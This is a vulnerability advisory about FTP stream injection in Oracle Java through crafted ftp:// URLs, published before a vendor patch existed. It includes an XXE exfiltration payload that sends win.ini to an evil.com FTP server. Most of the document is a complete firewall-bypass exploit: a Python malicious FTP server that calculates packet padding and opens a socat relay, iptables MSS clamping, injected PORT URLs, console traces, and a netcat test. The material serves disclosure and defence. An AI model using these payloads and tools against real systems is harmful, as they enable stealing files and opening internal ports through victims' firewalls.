SSD Advisory – Oracle Java FTP Stream Injection
Credit to Author: Maor Schwartz| Date: Tue, 21 Feb 2017 13:51:34 +0000
Vulnerability Summary
The following advisory describes a FTP protocol stream injection vulnerability found in Oracle Java. Java is a general-purpose computer programming language that is concurrent, class-based, object-oriented, and specifically designed to have as few implementation dependencies as possible. It is intended to let application developers “write once, run anywhere” (WORA).
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
We have reported this vulnerability to Oracle, and have been waiting for several months for a patch for this vulnerability. Another researcher has discovered this vulnerability and went public with it – at which point we decided to publish the information without waiting for Oracle to release a patch.
Vulnerability Details
Java is vulnerable to an FTP protocol stream injection via malicious URLs. If an attacker can cause Java application to retrieve a malicious URL of this type, then the attacker can inject FTP commands into the client’s protocol stream.
For example, the following URL allows for new lines (CRLF) to be injected in the TCP stream, making the receiving server think that “NEW COMMAND” is a separate command sent by the client:
The above URL, when fetched by Java, causes the following partial command sequence to be sent:
1 2 3 4 5 6 7 8 9 | —–8<—– USER x PASS inject NEW COMMAND TYPE I EPSV ALL PASV ... —->8—– |
Java is vulnerable to this injection via multiple fields in the URL. The username field and the directory path specified in the URL.
There are 2 main scenarios to exploit the vulnerability:
- XML External Entity (XXE) Exfiltration
- Opening Ports in the Firewall
Attack Scenario 1: XML External Entity (XXE) Exfiltration
If an application is vulnerable to XML External Entity (XXE), then this makes it easier to successfully use Out-Of-Band (OOB) exfiltration of file contents and similar data. An example for a hypothetical attack:
1 2 3 4 5 6 7 8 9 | —–8<—– <?xml version=“1.0” encoding=“utf-8”?> <!DOCTYPE roottag [ <!ENTITY % file SYSTEM “file:///c:/windows/win.ini”> <!ENTITY % dtd SYSTEM “http://evil.com/evil.dtd”> %dtd;]> <roottag>&send;</roottag> —->8—– |
In this example, the file located at http://evil.com/evil.dtd would contain:
1 2 3 4 | —–8<—– <?xml version=“1.0” encoding=“UTF-8”?> <!ENTITY % all “<!ENTITY send SYSTEM ‘ftp://user:%file;@evil.com/x’>”>%all; —->8—– |
This would cause the contents of the win.ini file to be sent to the attacker’s FTP server as part of the PASS command. While similar attacks have been demonstrated with HTTP URLs previously, this is useful because Java’s HTTP URL validation has become more strict in recent years and will not allow many special characters in URLs that used to be allowed in previous versions. The FTP URL handler is far more lax, particularly in the password field.
Attack Scenario 2: Opening Ports in the Firewall
If an attacker can cause victim system to fetch an FTP URL with Java, and the victim’s firewall supports classic, non-passive FTP inspection and translation, then this attack can be conducted:
1 2 3 4 5 6 7 | http://www.enyo.de/fw/security/java-firewall/ The firewall can be tricked into thinking a legitimate client wants an arbitrary port (under the attacker‘s control), to be opened – this is normally done to allow the remote FTP server to send a data stream back. In our version of the attack, no Java applet is required. In a simple version of this attack, we could simply inject a malicious <em>PORT</em> command into the stream at the right moment. When the firewall sees this, it will translate the internal IP address and port for that command into an external address and port, and then enable a temporary <em>NAT</em> rule to allow a single TCP connection to come back in, relaying it to the client. Suppose that the victim Java client host has address <em>10.1.2.3</em>, the victim firewall has an external IP address of <em>8.14.14.15</em> and our attacker is at <em>evil.com</em>. Then we should expect this FTP URL to fool the firewall into opening up port 2000: |
1 | ftp://x:y@evil.com/bogus-directory%0APORT%2010,1,2,3,7,208/z.txt |
Opening Ports in the Firewall Attack Scenario Proof of Concept
First Challenge: Determining Internal IP
In this scenario, the attacker needs to know the victim’s internal IP address. The attacker can send a prob URL, see how the client behaves, then try another until the attack is successful (Only 2-3 attempts should be required).
As for the first phase of the attack, the attacker can simply supply the victim with an FTP URL that points to an unusual port on the attacker’s server, such as:
1 | ftp://x:y@evil.com:1337/bogus-directory/z.txt |
Assuming the attacker’s server rejects any passive commands, the Java client will fall back to using classic non-passive modes. When the client sends the PORT command, it is unlikely this will be translated by the victim’s firewall, since it is on an unusual port. That means the client will be handing the attacker it’s internal IP address.
Second Challenge: Packet Alignment
FTP is designed as a synchronous, line-based protocol where each side of the communication writes one line and waits for a response from the other side before continuing. That means neither side of the communication should write more than one command before waiting for the other to respond.
The Linux conntrack firewall modules take advantage of this fact to try and be extra sure that they really are seeing a PORT command on the wire. They implement this by requiring any PORT command to appear at the very beginning of the packet. Therefore, the URL (shown earlier) doesn’t actually cause Linux firewalls to open up the desired port:
1 | ftp://x:y@evil.com/bogus-directory%0APORT%2010,1,2,3,7,208/z.txt |
If you carefully observe the packet trace of the above URL being fetched, you’d see commands sent by the client coming in the following individual packets:
1 2 3 4 5 6 7 8 9 10 11 | —Begin Packet 1— USER x —Begin Packet 2— PASS y —Begin Packet 3— TYPE I —Begin Packet 4— CWD bogus–directory PORT 10,1,2,3,7,208 —Begin Packet 5— ... |
Since the PORT command comes in the middle of Packet 4, Linux ignores it.
To force the client to send the PORT command at the very beginning of a packet, even though two commands were sent in a single write, we will use CWD command with directory name that is long enough that it exactly filled up one TCP packet, Then “PORT…” would be forced to start at the very next packet.
There are several difficulties to exploiting this vulnerability, MTU size may be high, Java application may complain about receiving a very long URL. To overcome this, we can simply force the FTP session’s TCP connection to use the minimum MTU size, since we control the malicious FTP server. Linux firewall rules can be use to clamp the MSS to 536 bytes, which makes our malicious URLs much easier to calculate.
Getting Java our URLs
There are a variety of situations where we could convince a Java application to fetch our URLs, which we discuss briefly here.
- SSRF: If an application accepts any HTTP, HTTPS, or FTP URL, then exploitation is straight-forward. Even if the application accepts only HTTPS or HTTP URLs due to naive input validation, then an attacker could simply redirect to a malicious FTP URL.
- XXE: Most XXE bugs yield SSRF like access, so this is pretty straight forward. Note that some XXE vulnerabilities aren’t very practical to exploit due to XML parser settings, preventing classic entity attacks. However, in some of these cases SSRF is still possible.
- Man-in-the-Middle: If a Java application is fetching any HTTP URL, then a privileged network attacker could inject a redirect to bootstrap this attack.
- JNLP Files: If a desktop user could be convinced to visit a malicious website while Java is installed, even if Java applets are disabled, they could still trigger Java to parse a JNLP file. These files could contain malicious FTP URLs which trigger this bug. A clever attacker could weaponize the exploit to determine the victim’s internal IP address, determine the appropriate packet alignment, and then exploit the bug all in one shot. Many ports could be opened at once, potentially. I have not tried this, but it should be possible with a clever implementation.
General Setup
Set up 3 systems, each running Debian Linux. One system is the external attacker server (EAS), another is the victim firewall (VF), and the third is the victim target (VT). They should be arranged in a very simple configuration like this:
EAS —– VF —– VT
For the purposes of this document, let’s assume these hosts have the following IP addresses:
- EAS: 1.3.3.7
- VF: 8.14.14.15
- VT: 10.1.2.3
Victim Firewall (VF) Setup
Victim Firewall (VF) will need to be configured with a NAT firewall:
1 | iptables –t nat –A POSTROUTING –s 10.0.0.0/255.255.255.0 –j MASQUERADE |
Then we will load the nf_conntrack_ftp and nf_nat_ftp kernel modules and set a couple of FORWARD rules to allow the modules to work:
1 2 3 4 5 | iptables –t filter –A FORWARD –s 10.0.0.0/255.255.255.0 –j ACCEPT iptables –t filter –A FORWARD –d 10.0.0.0/255.255.255.0 –m conntrack —ctstate RELATED –m helper —helper ftp –p tcp —dport 1024: –j ACCEPT |
In these rules, the 10.0.0.0/24 network is considered internal. The first forward rule above just allows all traffic outbound. The second rule allows non-passive FTP connections to connect back to clients, so long as the conntrack modules have determined the FTP client wants that connection to come back.
Victim Target (VT) Setup
Make sure Java is installed and ‘java‘, ‘javac‘ and ‘javaws‘ binaries are in $PATH. Also be sure socat and netcat are installed
1 | apt–get install socat netcat–traditional |
Copy the following code (we will call it fetch) to the Victim Target (VT) system and compile (javac
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | import java.net.*; import java.io.*; /** * A complete Java class that demonstrates how to read content (text) from a URL * using the Java URL and URLConnection classes. */ public class fetch { public static void main(String[] args) { String output = getUrlContents(args[0]); System.out.println(output); } private static String getUrlContents(String theUrl) { StringBuilder content = new StringBuilder(); // many of these calls can throw exceptions, so i’ve just // wrapped them all in one try/catch statement. try { // create a url object URL url = new URL(theUrl); // create a urlconnection object URLConnection urlConnection = url.openConnection(); // wrap the urlconnection in a bufferedreader BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); String line; // read from the urlconnection via the bufferedreader while ((line = bufferedReader.readLine()) != null) { content.append(line + “n”); } bufferedReader.close(); } catch(Exception e) { e.printStackTrace(); } return content.toString(); } } |
The Victim Target (VT) host should run service to observe when the Attacker Server (EAS) system connects to it:
1 | nc –l –p 12345 |
Whatever TCP port is chosen for this should be one that the Victim Firewall (VF) doesn’t ordinarily forward to the Victim Target (VT). It should also be a “high” port (>=1024).
Attacker Server (EAS) Setup
The Attacker Server (EAS) system will need a bit of configuration as well. Copy the following script (we will name him ftp-injection-server.py) to The Attacker Server (EAS) and be sure you are logged in as root.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 | #!/usr/bin/env python3 import sys import os import time import random import argparse import binascii import traceback import struct import socket import threading import subprocess import urllib import urllib.parse parser = argparse.ArgumentParser(description=“”) parser.add_argument(‘public_ip’, default=None, help=‘IP address the client can reach you at.’) parser.add_argument(‘internal_ip’, default=None, help=‘The victim host’s internal IP address.’) parser.add_argument(‘target_port’, type=int, default=None, help=‘TCP port you want to fool the firewall into forwarding. Must be in the range [1024..65535].’) parser.add_argument(‘–port’, type=int, default=21, help=‘TCP port to listen on (default: 21).’) parser.add_argument(‘–ip’, dest=‘ip’, type=str, default=‘0.0.0.0’, help=‘Local IP address to listen on (default: 0.0.0.0).’) # Run this first to clamp down the MSS: # iptables -A OUTPUT -p tcp –tcp-flags SYN,RST SYN –sport 21 -j TCPMSS –set-mss 536 # options = parser.parse_args() QUIT = 0 NL = ‘n’ def generateURL(pad_len): global options octets = options.internal_ip.split(‘.’) octets.extend([“%d” % (options.target_port/256), “%d” % (options.target_port%256)]) port_cmd = “PORT%20”+(‘,’.join(octets)) padding = “X”*pad_len newline = urllib.parse.quote(NL) url_template = “ftp://x:y@%s/leet%s%s%s/z.txt” return url_template % (options.public_ip, padding, newline, port_cmd) def ftpSession(clientSock, stream_id): clientSock.sendall(b‘220 Port Opener Expressrn’) next_command = ” while not QUIT: command = ” if next_command: command = next_command next_command = ” else: while not command: try: command = clientSock.recv(536, socket.MSG_DONTWAIT) except BlockingIOError as e: pass sys.stderr.write(“>> %s” % command.decode(‘utf-8’)) if command[0:4].upper() == b‘USER’: clientSock.sendall(b‘331 Papers pleasern’) elif command[0:4].upper() == b‘PASS’: clientSock.sendall(b‘250 OKrn’) elif command[0:3].upper() == b‘CWD’: if b‘nP’ in command: sys.stderr.write(“ERROR: not enough padding to isolate correct padding lengthn”) break elif command[–1:] == b‘n’: sys.stderr.write(“Correct padding!n”) clientSock.sendall(b‘250 Directory changedrn’) else: sys.stderr.write(“Payload size appears to be: %dn” % len(command)) new_url = generateURL(len(command)–len(NL)–8) # 8 for “CWD leet” print(“Try this URL instead:”) print(new_url) break elif command[0:4].upper() == b‘PORT’: command,next_command = command.split(b‘rn’) octets = command[5:].decode(‘utf-8’).split(‘,’) ip = ‘.’.join(octets[0:4]) port = int(octets[4])*256+int(octets[5]) sys.stderr.write(“Client has opened %s:%dn” % (ip,port)) clientSock.sendall(b‘200 PORT command successful.rn’) local_port = random.randint(31337,41337) relay_cmd = [‘socat’, ‘tcp4-connect:%s:%d’ % (ip,port), ‘tcp4-listen:%d,bind=127.0.0.1’ % local_port] print(“Setting up relay on 127.0.0.1:%d; connect to this to access the targeted service” % local_port) child = subprocess.call(relay_cmd, stdin=subprocess.DEVNULL, stderr=subprocess.STDOUT) print(“Relay finished.”) break elif command[0:4].upper() == b‘TYPE’: clientSock.sendall(b‘250 Switching to Binary mode.rn’) elif command[0:4].upper() == b‘EPSV’: clientSock.sendall(b‘500 Command not understood.rn’) elif command[0:4].upper() == b‘PASV’: clientSock.sendall(b‘500 Command not understood.rn’) elif command[0:4].upper() == b‘EPRT’: clientSock.sendall(b‘200 EPRT command successful.rn’) else: print(“Unknown command:”, command) break print(“Closing control channel.”) clientSock.close() print(“First try to give the vulnerable host this URL:”) print(generateURL(2000)) threads = [] listenSock = socket.socket() listenSock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listenSock.bind((options.ip, options.port)) listenSock.listen(100) try: while 1: try: (clientSock, clientAddr) = listenSock.accept() sys.stderr.write(“Connection received from %s:%s.n” % clientAddr) clientSock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) clientSock.setsockopt(socket.IPPROTO_TCP, socket.TCP_WINDOW_CLAMP, 1) except Exception as e: print(“Exception while listening: “, e) traceback.print_exc(e) continue except KeyboardInterrupt as e: QUIT=1 break now = int(time.time()) clientSrcPort = clientAddr[1] stream_id = “%d.%d” % (now, clientSrcPort) t = threading.Thread(target=ftpSession, args=(clientSock, stream_id)) threads.append(t) t.start() except Exception as e: sys.stderr.write(“Unexpected exception: %sn” % repr(e)) listenSock.close() QUIT=1 for t in threads: t.join() sys.exit(0) |
Next, the following firewall rule should be added to implement the MSS clamping (to be clear: we’re running this on the attacker’s server, not the victim firewall):
1 2 | iptables –A OUTPUT –p tcp —tcp–flags SYN,RST SYN —sport 21 –j TCPMSS —set–mss 536 |
Step 0: Determine the Victim’s Internal IP
Run the ftp-injection-server.py script on a high port:
1 | ./ftp–injection–server.py —port 9999 1.3.3.7 255.255.255.255 1111 |
Next, run fetch on the Victim Target (VT) with a URL that points to this high port service:
1 | java fetch ftp://x:y@1.3.3.7:9999/foo.txt |
This should cause the Attacker Server (EAS) FTP service to response something like:
1 2 3 4 5 6 7 8 9 10 11 | —–8< —– Connection received from 8.14.14.15:35278. >> USER x >> PASS y >> TYPE I >> EPSV ALL >> PASV >> EPRT |1|10.1.2.3|38395| >> RETR foo.txt Unknown command: b‘RETR foo.txtrn’ —->8—– |
Step 1: Verify Victim Firewall (VF) is Translating PORT/EPRT Commands
Let’s make sure your firewall is behaving as we expect – stop the FTP server script if is is already running and start it again:
1 | ./ftp–injection–server.py 1.3.3.7 10.1.2.3 12345 |
The first IP address is the external IP of the Attacker Server (EAS), the second is the internal IP of the Victim Target (VT), and the last argument is the port number we would like to open up for attack.
Next, run a non-malicious FTP fetch to see if the firewall translates this port 21 traffic:
1 | java fetch ftp://x:y@1.3.3.7/foo.txt |
You should see the Attacker Server (EAS) service to response something like:
1 2 3 4 5 6 7 8 9 10 11 12 | —–8<—– Connection received from 8.14.14.15:37516. >> USER x >> PASS y >> TYPE I >> EPSV ALL >> PASV >> EPRT |1|8.14.14.15|45545| >> RETR foo.txt Unknown command: b‘RETR foo.txtrn’ Closing control channel. —->8—– |
Step 2: Determine CWD Padding Length
The FTP server script will automatically determine the correct packet offset by first asking you to fetch a long URL via the vulnerable client, and then calculating what the correct padding length is.
Restart the FTP server script with the same arguments from Step 1.
It should response a message like this upon startup:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | —–8<—– First try to give the vulnerable host this URL: ftp://x:y@1.3.3.7/leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXX%0APORT%2010,1,2,3,48,57/z.txt —->8—– |
Copy and paste this URL into a command on the Victim Target (VT):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | java fetch ftp://x:y@1.3.3.7/leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXX%0APORT%2010,1,2,3,48,57/z.txt |
The directory with all of the padding (X’s) is too long for one packet, but upon fetching this, the FTP server will calculate the correct URL to use for success.
You should now see something like this on the EAS console:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | —–8< —– Connection received from 8.14.14.15:37436. >> USER x >> PASS y >> TYPE I >> CWD leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Payload size appears to be: 536 Try this URL instead: ftp://x:y@1.3.3.7/leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXX%0APORT%2010,1,2,3,48,57/z.txt Closing control channel. —->8—– |
This final URL should be usable going forward for any number of TCP connections you want to initiate to the Victim Target (VT).
Step 3: Open the Firewall and Test the Service
Keep the FTP service running with the same configuration from Step 2. Just do a final fetch to open up the port through the firewall:
1 2 3 4 5 6 7 8 | java fetch ftp://x:y@1.3.3.7/leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXX%0APORT%2010,1,2,3,48,57/z.txt |
This should cause the FTP service to response something like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | —–8< —– Connection received from 8.14.14.15:37474. >> USER x >> PASS y >> TYPE I >> CWD leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Correct padding! >> PORT 10,1,2,3,48,57 Client has opened 10.1.2.3:12345 Setting up relay on 127.0.0.1:32537; connect to this to access the targeted service —->8—– |
If you see the “Correct padding!” message, then the FTP service thinks the attack worked. It will immediately spawn a socat process which relays a single TCP connection to the Victim Target (VT). This is done because the Victim Firewall (VF) might time-out the data connection for the FTP command if you don’t act quickly. By spawning a socat child process, we get the connection established and can hold on to it longer.
The “Setting up relay…” message indicates which local TCP port that socat is now listening on. To send a bit of data through this relay, run (using the port mentioned in this message):
1 | echo pwned | nc 127.0.0.1 32537 |
Then observe the listening netcat process running on the Victim Target (VT). The word “pwned” should show up on STDOUT.
Step 4: Try Java Network Launch Protocol (JNLP) Attacks
